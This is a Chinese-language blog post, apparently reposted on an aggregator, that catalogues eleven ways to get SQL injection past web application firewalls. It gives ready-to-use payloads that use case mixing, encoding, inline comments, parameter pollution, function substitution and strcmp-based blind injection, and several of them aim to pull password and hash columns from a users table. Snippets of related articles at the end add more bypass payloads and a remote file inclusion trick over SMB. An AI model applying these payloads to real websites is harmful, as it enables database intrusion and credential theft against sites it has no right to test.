WAF绕过方法

1.大小写绕过

这个大家都很熟悉,对于一些太垃圾的WAF效果显著,比如拦截了union,那就使用Union UnIoN等等绕过。

2.简单编码绕过

比如WAF检测关键字,那么我们让他检测不到就可以了。比如检测union,那么我们就用%55也就是U的16进制编码来代替U,union写成 %55nION,结合大小写也可以绕过一些WAF,你可以随意替换一个或几个都可以。

也还有大家在Mysql注入中比如表名或是load文件的时候,会把文件名或是表明用16进制编码来绕过WAF都是属于这类。

3.注释绕过

这种情况比较少,适用于WAF只是过滤了一次危险的语句,而没有阻断我们的整个查询。

01./?id=1+union+select+1,2,3/*

比如对于上面这条查询,WAF过滤了一次union和select,那么我们在之前在写一个注释的语句,让他把注释里面的过滤掉,并不影响我们的查询。

所以绕过语句就是:

01./?id=1/*union*/union/*select*/select+1,2,3/*

还有一种和注释有关的绕过:

比如:

01.index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3,4…

可以看到,只要我们把敏感词放到注释里面,注意,前面要加一个!

4.分隔重写绕过

还是上面的例子,适用于那种WAF采用了正则表达式的情况,会检测所有的敏感字,而不在乎你写在哪里,有几个就过滤几个。

我们可以通过注释分开敏感字,这样WAF的正则不起作用了,而带入查询的时候并不影响我们的结果。

01./?id=1+un/**/ion+sel/**/ect+1,2,3--

至于重写绕过,适用于WAF过滤了一次的情况,和我们上传aaspsp马的原理一样,我们可以写出类似Ununionion这样的。过滤一次union后就会执行我们的查询了。

01.?id=1 ununionion select 1,2,3--

5.Http参数污染(HPP)

比如我们有这样的语句:

01./?id=1 union select+1,2,3+from+users+where+id=1--

我们可以重复一次前面的id值添加我们的值来绕过,&id=会在查询时变成逗号:

01./?id=1 union select+1&id=2,3+from+users+where+id=1--

这种情况成功的条件比较多,取决于具体的WAF实现。

再给出一个例子说明用法:

01./?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users--

具体分析的话就涉及到查询语句的后台代码的编写了。

比如服务器是这样写的:

01.select * from table where a=".$_GET[‘a‘]." and b=".$_GET[‘b‘]." limit ".$_GET[‘c‘];

那我们可以构造这样的注入语句:

01./?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--

最终解析为:

01.select * from table where a=1 union/* and b=*/select 1,pass/*limit */from users--

可以看到,这种方式其实比较适合白盒测试,而对于黑盒渗透的话,用起来比较麻烦。但是也可以一试。

6.使用逻辑运算符 or /and绕过

01./?id=1+OR+0x50=0x50

02./?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74

顺便解释一下第二句话,从最里面的括号开始分析,select+pwd+from+users+limit+1,1 这句是从users表里查询pwd字段的第一条记录,比如是admin,

然后mid(上一句),1,1就是取admin的第一个字符,也就是a,

lower(上一句)就是把字符转换为小写,

然后ascii就是把a转换成ascii码,看等不等于74。

7.比较操作符替换

包括!= 不等于,<>不等于,< 小于,>大于,这些都可以用来替换=来绕过。

比如上一个例子,要判断是不是74,假设=被过滤,那么我们可以判断是不是大于73,是不是小于75,然后就知道是74了。。很多WAF都会忘了这个。

8.同功能函数替换

Substring()可以用mid(),substr()这些函数来替换,都是用来取字符串的某一位字符的。

Ascii()编码可以用hex(),bin(),也就是16进制和二进制编码替换。Benchmark()可以用sleep()来替换,这两个使用在基于延时的盲注中,有机会给大家介绍。

如果连这些都屏蔽了,还有一种新的方法:

01. substring((select ‘password‘),1,1) = 0x70

02.substr((select ‘password‘),1,1) = 0x70

03.mid((select ‘password‘),1,1) = 0x70

比如这三条,都是从password里判断第一个字符的值,可以用:

01.strcmp(left(‘password‘,1), 0x69) = 1

02.strcmp(left(‘password‘,1), 0x70) = 0

03.strcmp(left(‘password‘,1), 0x71) = -1

来替换,left用来取字符串左起1位的值,strcmp用来比较两个值,如果比较结果相等就为0,左边小的话就为-1,否则为1。

还有我前几篇说过的group_concat 和concat和concat_ws也可以互相替换。

9.盲注无需or和and

比如有这样一个注入点:

01.index.php?uid=123

and、or被过滤了,其实有一种更直接的方法,我们直接修改123为我们的语句生成的:

01.index.php?uid=strcmp(left((select+hash+from+users+limit+0,1),1),0x42)+123

123的时候页面是正确的,我们现在在盲猜hash的第一位,如果第一位等于0x42也就是B,那么strcmp结果为0,0+123=123,所以页面应该是正确的。否则就说明不是B,就这样猜,不用and和or了。

10. 加括号

01./?id=1+union+(select+1,2+from+users)

比如,上面这一条被WAF拦截了。可以试试加一些括号:

01./?id=1+union+(select+1,2+from+xxx)

02./?id=(1)union(select(1),mid(hash,1,32)from(users))

03./?id=1+union+(select‘1‘,concat(login,hash)from+users)

04./?id=(1)union(((((((select(1),hex(hash)from(users))))))))

05./?id=(1)or(0x50=0x50)

11.缓冲区溢出绕过

这个是从国外一个博客看到的:

01.id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),

8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26

02.,27,28,29,30,31,32,33,34,35,36–+

其中0xAAAAAAAAAAAAAAAAAAAAA这里A越多越好,一般要求1000个以上。

时间: 2024-08-03 11:19:39

WAF绕过方法的相关文章

WAF绕过小结

WAF介绍 什么是WAF? Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品. 基本/简单绕过方法: 1.注释符 http://www.site.com/index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3,4…. 2.使用大小写 http://www.site.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4…. 3.结合前面两种方法 http://

web渗透测试中WAF绕过讲解(一)

---恢复内容开始--- 0x01 前言 许多Hacker总是生存在与WAF的不断抗争之中的,厂商不断过滤,Hacker不断的骚操作绕过.WAF与Hacker总是在斗智斗勇,经过长时间的发展,近年越来越多的Hacker投入到与WAF进行对抗,相对应的绕过方法也被大量的暴露出来,笔者今日就先进行个小小的科普先来说说WAF是什么. 0x02 什么是WAF? 简单的来说它是一个Web应用程序防火墙他的功能是执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品. 0x03 国

从偶然的机会发现一个mysql特性到wooyun waf绕过题

MayIKissYou | 2015-06-19 12:00 最近在测试的时候,偶然的机会发现了一个mysql的特性, 为啥是偶然的机会呢..... 一次测试的过程中我在mysql的console下做了如下的操作: 看出些什么了么? 我当时发现报错的时候例如-+{等符号 报错的时候提示的是''(双引号里没东西),但是如select后面添加1 a等内容的时候报的是 selecta,select1等等. 想到共性了么,-+{等等内容是能够直接添加到select后面的,知其那那个sql总结的帖子里有,

WAF绕过的一些总结和思考

WAF分类: 1.网络层类 2.最常见且容易部署的应用层类 (部署在APACHE之前,APACHE之后) 应用层WAF – 利用WAF自身缺陷和MYSQL语法特性并结合实际绕过: WAF最常见检测方式:关键词检测 例如 如果出现 [空格]union[空格] 这样的SQL语句则视为恶意请求,丢弃这个数据包,XSS代码同理. 常见的绕过类型: 类型1: 数据包 -> WAF(利用string存储请求参数,解码后检测)-> APACHE C语言等利用string等储存结构存储请求,在解码时,%00会

16. 再说 WAF 绕过

1,大小写混排 这可以算最容易想到的方式了.大小写绕过用于只针对小写或大写的关键字匹配技术,正则表达式 /express/i 大小写不敏感即无法绕过,这是最简单的绕过技术. 举例: z.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4 减少漏报方法:对每个关键字或每种情况都做大小写转换的处理. 2,替换关键字 这种情况下大小写转化无法绕过,而且正则表达式会替换或删除 select.union 这些关键字,如果只匹配一次就很容易绕过. 举例: z.com

各种WAF绕过手法学习

原文:https://mp.weixin.qq.com/s/aeRi1lRnKcs_N2JLcZZ0Gg 0X00    Fuzz/爆破 fuzz字典 1.Seclists/Fuzzing https://github.com/danielmiessler/SecLists/tree/master/Fuzzing 2.Fuzz-DB/Attack https://github.com/fuzzdb-project/fuzzdb/tree/master/attack 3.Other Payload

waf绕过技巧

0x00 links waf绕过技巧库: http://wafbypass.me/w/index.php/Main_Page may be a best one https://xianzhi.aliyun.com/forum/attachment/big_size/wafbypass_sql.pdf good http://www.freebuf.com/articles/web/10099.html WAF绕过的奇技淫巧 http://tech-technical.com/index.php

php文件包含漏洞(allow_url_include=Off)的绕过方法

分享几个当allow_url_include = Off时的文件包含漏洞的绕过方法. 假设服务端的php代码(aaa.php)如下图所示: 第1种:smb协议 Payload:http://127.0.0.1/aaa.php?path=\\43.5*.**.74\ica\abc1238.htm 这种方法只适用于Windows类型的网站服务器,不能用于Linux服务器. 首先在VPS上搭建Samba服务,然后添加一个无需认证即可访问的共享目录,配置信息如下图所示: 然后在/home/share目录

基于HTTP协议的WAF绕过

一,畸形包绕过 1.先关闭burpsuite长度更新,为get请求,先使用bp的method转换为POST请求 2.get请求中空格使用%20代替,Connection改为keep-alive 二,分块传输绕过waf 1.先在数据包中添加Transfer-Encoding: chunked 2.数字代表下一列字符所占位数,结尾需要两个回车  三,协议覆盖waf绕过 1.首先将数据包转换为文件上传包格式,使用bp工具change body encoding 2.删除多余空格 3.添加参数filen